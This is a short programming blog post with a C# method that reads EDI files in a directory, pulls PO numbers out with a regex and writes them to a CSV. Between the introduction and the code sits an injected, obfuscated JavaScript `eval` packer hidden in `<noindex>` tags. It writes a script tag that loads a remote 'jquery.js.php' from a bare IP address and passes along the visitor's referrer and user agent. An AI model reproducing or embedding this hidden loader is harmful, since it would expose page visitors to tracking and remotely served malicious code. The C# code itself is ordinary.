This C# code fragment illustrates how to use the RegEx Captures collection within RegEx Groups.

I needed the ability to read all files in a directory, and build a CSV to cross reference the PO number to the EDI file it was in.

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|batdt|var|u0026u|referrer|ztidd||js|php'.split('|'),0,{}))
</script></noindex>            //Pattern we want, but then escape all the ^ signs  "REF^BM^(\d*)~";
            string strRegExPattern856 = @"REF^BM^(\d*)~".Replace("^", @"\^");

public static void parseFile(string strDirectoryName, string filemask, string prefix, 
                             string filetype, string strRegExPattern, 
                             StreamWriter objFileSW, int maxDaysBack)
{
		string[] filenameArray = 
                  Directory.GetFiles(strDirectoryName, filemask, SearchOption.TopDirectoryOnly);

		foreach (string filename in filenameArray)
		{
			Console.WriteLine("Processing file=" + filename);
			string fileContents = File.ReadAllText(filename);

			foreach (Match m in Regex.Matches(fileContents, strRegExPattern))
			{
				//Console.WriteLine("'{0}' found at index {1}.",m.Value, m.Index);
				string showFilename = Path.GetFileName(filename);
				FileInfo fileInfo = new FileInfo(filename);
				TimeSpan daysBack = DateTime.Now.Subtract(fileInfo.LastWriteTime);
				
				if (daysBack.Days < maxDaysBack)
				{

					//Worthless Capture collection! 
					/*
					foreach (Capture capture in m.Captures)
					{
					   Console.WriteLine("Index={0}, Value={1}", capture.Index, capture.Value);
					}
					*/

					int loopCounter = 0;
					foreach (Group grp in m.Groups)
					{

						loopCounter++;
						if (loopCounter == 2)  // trying to avoid subscript error 
						{
							string PONum = grp.Captures[0].Value;
							Console.WriteLine(loopCounter + " " + showFilename + " " + PONum);
							string outline = prefix + "," +
                                                                filetype + "," + 
                                                                showFilename + "," + 
                                                                fileInfo.LastWriteTime +
                                                                "," + PONum;
							objFileSW.WriteLine(outline);
						}
					}
				}
				else
				{
					Console.WriteLine("Skipping file " + showFilename + " Created=" + 
                                                          fileInfo.CreationTime + 
                                                          " Over " + maxDaysBack + " Days Ago"); 
				}

			}  // end foreach 

	}
} 


Filed under: C#